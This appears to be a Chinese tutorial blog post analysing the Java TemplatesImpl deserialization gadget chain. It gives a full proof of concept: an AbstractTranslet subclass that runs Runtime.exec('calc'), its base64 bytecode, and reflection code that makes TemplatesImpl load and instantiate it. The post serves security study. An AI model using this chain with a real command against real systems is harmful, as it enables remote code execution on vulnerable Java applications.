Java反序列化漏洞-TemplatesImpl利用链分析

news/2024/12/22 19:38:06/文章来源:https://www.cnblogs.com/CVE-Lemon/p/18402114

目录
  • 一、前言
  • 二、正文
    • 1. 寻找利用链
    • 2. 构造POC
      • 2.1 生成字节码
      • 2.2 加载字节码
        • 1)getTransletInstance
        • 2)defineTransletClasses
      • 2.3 创建实例
    • 3. 完整POC
  • 三、参考文章

一、前言

java.lang.ClassLoader#defineClass

defineClass可以加载字节码,但由于defineClass的作用域是protected,所以攻击者很少能直接利用到它,但它却是我们常用的一个攻击链 TemplatesImpl 的基石。

二、正文

1. 寻找利用链

由于defineClass的访问修饰符为protected,所以我们需要寻找使用defineClass的方法,直到找到修饰符为public的方法即可。

查找defineClass的声明和用例,可以看到com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl的TransletClassLoader方法重载了defineClass方法:

TransletClassLoader,由于它的作用域是default,所以还得继续寻找调用TransletClassLoader的方法。

最终找到的调用链:

TemplatesImpl#newTransformer() -->			public
TemplatesImpl#getTransletInstance() -->		private
TemplatesImpl#defineTransletClasses() -->	private
TransletClassLoader#defineClass()			default

2. 构造POC

2.1 生成字节码

请注意,由于defineTransletClasses方法的限制,所以编写的被加载的类必须继承自com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;public class Evil extends AbstractTranslet {@Overridepublic void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}public Evil() throws Exception {Runtime.getRuntime().exec("calc");}
}

使用javac编译后,base64编码,生成最终的字节码

yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBABtMZWFyblRlbXBsYXRlSW1wbEJ5dGVzLmphdmEMAA4ADwcAHAwAHQAeAQAEY2FsYwwAHwAgAQAWTGVhcm5UZW1wbGF0ZUltcGxCeXRlcwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABgAAAAAAAwABAAcACAACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAADQALAAAABAABAAwAAQAHAA0AAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAABEACwAAAAQAAQAMAAEADgAPAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAAEwAEABQADQAVAAsAAAAEAAEAEAABABEAAAACABI=

2.2 加载字节码

首先编写一个静态类,用于反射修改成员变量

static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field declaredField = obj.getClass().getDeclaredField(fieldName);declaredField.setAccessible(true);declaredField.set(obj, value);
}

1)getTransletInstance

查看TemplatesImpl类的getTransletInstance方法,可以看到需要经过两个if判断才能调用defineTransletClasses_name需要赋一个String类型的值,_class本来就是null无需修改,我们来反射修改_name的值。

    public static void main(String[] args) throws Exception {TemplatesImpl templates = new TemplatesImpl();setFieldValue(templates, "_name", "随便");templates.newTransformer();}
2)defineTransletClasses

接着进入defineTransletClasses,如果_bytecode为空会报此 Templates 不包含有效的 translet 类定义的错误,如果_tfactory为空会报java.lang.NullPointerException的错误。

可以看_bytecode作为参数调用了defineClass,所以_bytecode的值应为被加载的字节码。

然后可以看到被加载的类的必须继承自ASTRACT_TRANSLET,即com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet,这就是刚才被加载类需要继承AbstractTranslet的原因。

继续修改POC:

public static void main(String[] args) throws Exception {byte[] bytecode = Base64.getDecoder().decode("#####你的字节码#####");TemplatesImpl templates = new TemplatesImpl();setFieldValue(templates, "_name", "随便");setFieldValue(templates, "_bytecodes", new byte[][]{bytecode});setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());templates.newTransformer();
}

2.3 创建实例

defineTransletClasses中,加载_bytecode获得的Class对象赋给了_class

getTransletInstance_class类被创建实例,调用构造方法,至此成功命令执行。这就是为什么没有自己调用newInstance而仍能命令执行的原因。

3. 完整POC

package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.lang.reflect.Field;
import java.util.Base64;public class LearnTemplatesImpl {public static void main(String[] args) throws Exception {byte[] bytecode = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBABtMZWFyblRlbXBsYXRlSW1wbEJ5dGVzLmphdmEMAA4ADwcAHAwAHQAeAQAEY2FsYwwAHwAgAQAWTGVhcm5UZW1wbGF0ZUltcGxCeXRlcwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABgAAAAAAAwABAAcACAACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAADQALAAAABAABAAwAAQAHAA0AAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAABEACwAAAAQAAQAMAAEADgAPAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAAEwAEABQADQAVAAsAAAAEAAEAEAABABEAAAACABI=");TemplatesImpl templates = new TemplatesImpl();setFieldValue(templates, "_name", "随便");setFieldValue(templates, "_bytecodes", new byte[][]{bytecode});setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());templates.newTransformer();}static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field declaredField = obj.getClass().getDeclaredField(fieldName);declaredField.setAccessible(true);declaredField.set(obj, value);}
}

三、参考文章

java安全漫谈 - phith0n

动态加载字节码学习 - bfengj

TemplatesImpl利用链分析 - seizer-zyx

Java反序列化之字节码二三事 - Drunkbaby

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/793736.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Camunda Modeler流程设计器

1、介绍 任何可执行流程都需要预先设计和配置业务流程模型和BPMN图,BPMN图可以让使用者更容易理解流程的结构,Camunda Modeler是一个可视化设计和实现BPMN图表的工具。 下面是官方使用文档:1、Modeler中绘制BPMN介绍 2、桌面版Modeler使用介绍 2、相关概念 可以将BPMN的绘制…

【工具推荐】KillWxapkg v2.4(最新版) - 自动化反编译微信小程序,小程序安全评估工具

工具介绍: 纯Golang实现,一个用于自动化反编译微信小程序的工具,小程序安全利器,自动解密,解包,可还原工程目录,支持微信开发者工具运行 下载链接: 链接:https://pan.quark.cn/s/aa5480be4bd5使用说明 工程结构还原 还原前还原后微信开发者工具运行看着就真的看着,不…

Agent(智能体)和 MetaGPT,一句话实现整个需求应用代码

本文介绍了大模型 Agent 定义、组成部分,并以 MetaGPT 多智能体为例,一句话完成贪吃蛇小游戏需求,以介绍整个智能体的工作流程……前面 2 篇文章,我们使用文生文、文生图和文生音频三个大模型共同实现了图文并茂的儿童绘本故事和绘本故事音频需求:第一篇 根据主题生成儿童…

html的表单和初始js

1.表单是html常用的一类,我们平时使用的收集账号密码填写信息都是表单,标签是form,含有属性action和method,action确定表单接受数据的地址,不写默认为网页本身.method有两种收集方式,"post"和"get",其中默认方式为get,但是get对接收信息的大小有限制,post没…

秋天到了是因为要做操

为两朵花找到了属于它们的色彩;前路漫漫,我会一个人走吗。灯笼迟早会消失,会结束。 我把它献给NR吧。

2024秋软件工程作业(第一次)

这个作业属于哪个课程 https://edu.cnblogs.com/campus/fzu/SE2024/这个作业要求在哪里 https://edu.cnblogs.com/campus/fzu/SE2024/homework/13243这个作业的目标 对软件工程这门课的作业有一个初步的了解学号 1022021471.个人logo文生图任务 使用工具:Craiyon 设计理念:中…

【工具推荐】0x7eTeamTools v1.2(最新版) -全能的渗透测试工具,一键getshell

工具介绍: 0x7eTeamTools 是一个集成了多种渗透测试功能,javafx练习,JS接口提取,漏洞检测 的工具,旨在帮助用户进行高效、全面的网络安全测试。从基本的编码转换到复杂的空间测绘和漏洞检测,这款工具提供了全方位的功能支持。 下载链接: 链接:https://pan.quark.cn/s/8c426…

sekaiCTF-2024-pwn-nolibc解析

sekaiCTF 2024 nolibc 程序逆向 IDA反编译之后:全是没有符号表的函数。start函数就是主函数。然后发现一些类似于printf的函数也没有符号。 我们linux上运行程序可以确定,至少sub_1322("Welcome to String Storage!");这样的函数实现的功能就是类似于printf。 逆向…

【Java】爬取澳门区划信息

官网地址:https://macaostreets.iam.gov.mo/zh_mo/freguesiaindex.html大区部分是在页面展示的 点击发现并没有请求网络,所以数据是js中存在的 找到了展示街道方法,这一段: 使用大区id匹配上述变量的function showStreets(freguesia){var freguesiaStreets;switch(fregue…

『模拟赛』CSP-S模拟2

『模拟赛记录』CSP-S模拟2Rank 非常好数据,使我成为 Rank1(雾数据换源后的狂流——齐秦北风在吹着清冷的街道 街灯在拉开长长的影子 走过的路 想过的事 仿佛越来越远越来越长 越来越多越难以抛开 多少平淡日子以来的夜晚 你曾是我渴望拥有的企盼 太多分手的记忆 仿佛越来越远…

(更新至 8/25) 不是暑假的暑假的不是游记的游记

持续更新中 Day1 - 8/23 因为在学校里待不下去了,所以订的十一点多的火车,打算八点钟就出门 结果教练在家长群里发我们十二点放假,所以我爸怕我赶不上就帮忙改签到一点半了 你说的对,但是为什么改成卧铺了??? 因此因为xfg的莫名其妙原因,还是决定十点钟出来 那么十点钟…

在 Alt + Tab 列表中隐藏指定窗口

安装并启动 AlexanderPro/SmartContextMenu,然后在指定窗口上Ctrl + rightClick,在出现的菜单中勾选在 Alt + Tab 列表中隐藏即可。这个程序还提供了置顶、调整透明度等功能,挺实用。